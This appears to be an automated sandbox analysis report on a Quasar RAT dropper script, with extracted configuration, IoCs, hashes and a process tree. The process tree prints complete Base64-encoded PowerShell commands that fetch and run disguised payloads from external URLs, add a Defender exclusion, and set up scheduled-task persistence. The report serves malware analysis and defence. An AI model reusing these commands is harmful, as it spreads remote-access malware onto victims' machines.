Analysis

  • max time kernel
    32s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-01-2025 09:14

Errors

Reason
Machine shutdown

General

  • Target

    t.cmd

  • Size

    1KB

  • MD5

    c3a80dbc5b98aac01cc124b59ec52d7e

  • SHA1

    eae4d2a89be841042839e8bfeca7480a2ba327e4

  • SHA256

    4d5a2a643cdab50f0105e110a8187cd812a7ebbc7d903b8a8029cd3508094f32

  • SHA512

    addf559ed04d9cbaccdc25d87940c0c0af41e183087c9c956bab438b7cf755a7481aa88d534792c265ace9491302ae81343de77d4c93101a232d44d47500d5a9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://i.imghippo.com/files/Zf9637kKg.jpg

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://i.imghippo.com/files/tBJo2822HAE.jpg

Extracted

Family

quasar

Version

1.4.1

Botnet

new

C2

194.26.192.167:2768

Mutex

67b58d78-e769-403e-bf6e-e83f8f31b2f5

Attributes
  • encryption_key

    BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055

  • install_name

    OneDrive.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    OneDrive

  • subdirectory

    OneDrive

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\t.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\t.cmd' -ArgumentList 'am_admin'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\t.cmd" am_admin
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -w h -command ""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2976
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAFoAZgA5ADYAMwA3AGsASwBnAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AGkAdwByACAAJAB1AHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABwAGEAdABoAFwAYgB1AGQAZAB5AC4AagBwAGcAIgA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgAsAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiACAALQBSAGEAdwApACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgA=
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4116
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -w h -command ""
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2384
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAHQAQgBKAG8AMgA4ADIAMgBIAEEARQAuAGoAcABnACIAOwAkAHAAYQB0AGgAPQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATwBuAGUARAByAGkAdgBlACIAOwBtAGsAZABpAHIAIAAkAHAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAkAGIANgA0AEYAaQBsAGUAPQAiACQAcABhAHQAaABcAGYAaQBsAGUALgBqAHAAZwAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQAiADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABiADYANABGAGkAbABlADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGUAeABlAEYAaQBsAGUALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAJABiADYANABGAGkAbABlACAALQBSAGEAdwApACkAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAeABlAEYAaQBsAGUA
              6⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2376
              • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
                "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4292
                • C:\Windows\SYSTEM32\schtasks.exe
                  "schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f
                  8⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1760
                • C:\Windows\System32\shutdown.exe
                  "C:\Windows\System32\shutdown.exe" /s /t 0
                  8⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1952
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa39b1055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:1344

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    440cb38dbee06645cc8b74d51f6e5f71

    SHA1

    d7e61da91dc4502e9ae83281b88c1e48584edb7c

    SHA256

    8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

    SHA512

    3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    446dd1cf97eaba21cf14d03aebc79f27

    SHA1

    36e4cc7367e0c7b40f4a8ace272941ea46373799

    SHA256

    a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

    SHA512

    a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b08c623a4c3d593e0197312ee60fd80b

    SHA1

    d758f831d82d40e2cf2b5303928840fef63c6e08

    SHA256

    9cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37

    SHA512

    0a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clj4hkdz.jg2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd

    Filesize

    849B

    MD5

    1c09b90d8829072db618c7e3e04d14d0

    SHA1

    b9fc6564663efaffd29579d08615145da2208c32

    SHA256

    70dc0b9e8bd165ad5b9b41e4876175aea1b8e86e6c548d154730726b03dbebc3

    SHA512

    e9a4fef97fc17665ade02c8259dfc858ea63a0fd5961c46a85c10f9956a5fa2abcff33050db32a040bb9ffbf2e79d3238db244f4714f6ffa1a2dff63e4b0a428

  • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe

    Filesize

    3.1MB

    MD5

    12bcc06c6099dfa56cce7a20fda7c8ab

    SHA1

    3b5e6d75d161b21e5a89602c509832d0a416eaf2

    SHA256

    cff0e57630d92a40cb239230dfb9d293b2406f91c8374fda5d4ff70b6c8310f6

    SHA512

    2d1ce86d47ba9ea2ebbcc3db2249c5374d90873ac5117464b50acc554b3936f910ab1f1f5745b7652a892e3090c12c52d56feaec4bd835264d033ed0a1a8ee89

  • memory/2224-29-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-31-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-28-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2224-26-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4292-118-0x0000000002EE0000-0x0000000002F30000-memory.dmp

    Filesize

    320KB

  • memory/4292-117-0x0000000000930000-0x0000000000C54000-memory.dmp

    Filesize

    3.1MB

  • memory/4292-119-0x000000001D9F0000-0x000000001DAA2000-memory.dmp

    Filesize

    712KB

  • memory/4292-122-0x000000001B9B0000-0x000000001B9C2000-memory.dmp

    Filesize

    72KB

  • memory/4292-123-0x000000001BA10000-0x000000001BA4C000-memory.dmp

    Filesize

    240KB

  • memory/4408-15-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4408-14-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4408-11-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4408-10-0x00000212FFEB0000-0x00000212FFED2000-memory.dmp

    Filesize

    136KB

  • memory/4408-0-0x00007FF8CE2F3000-0x00007FF8CE2F5000-memory.dmp

    Filesize

    8KB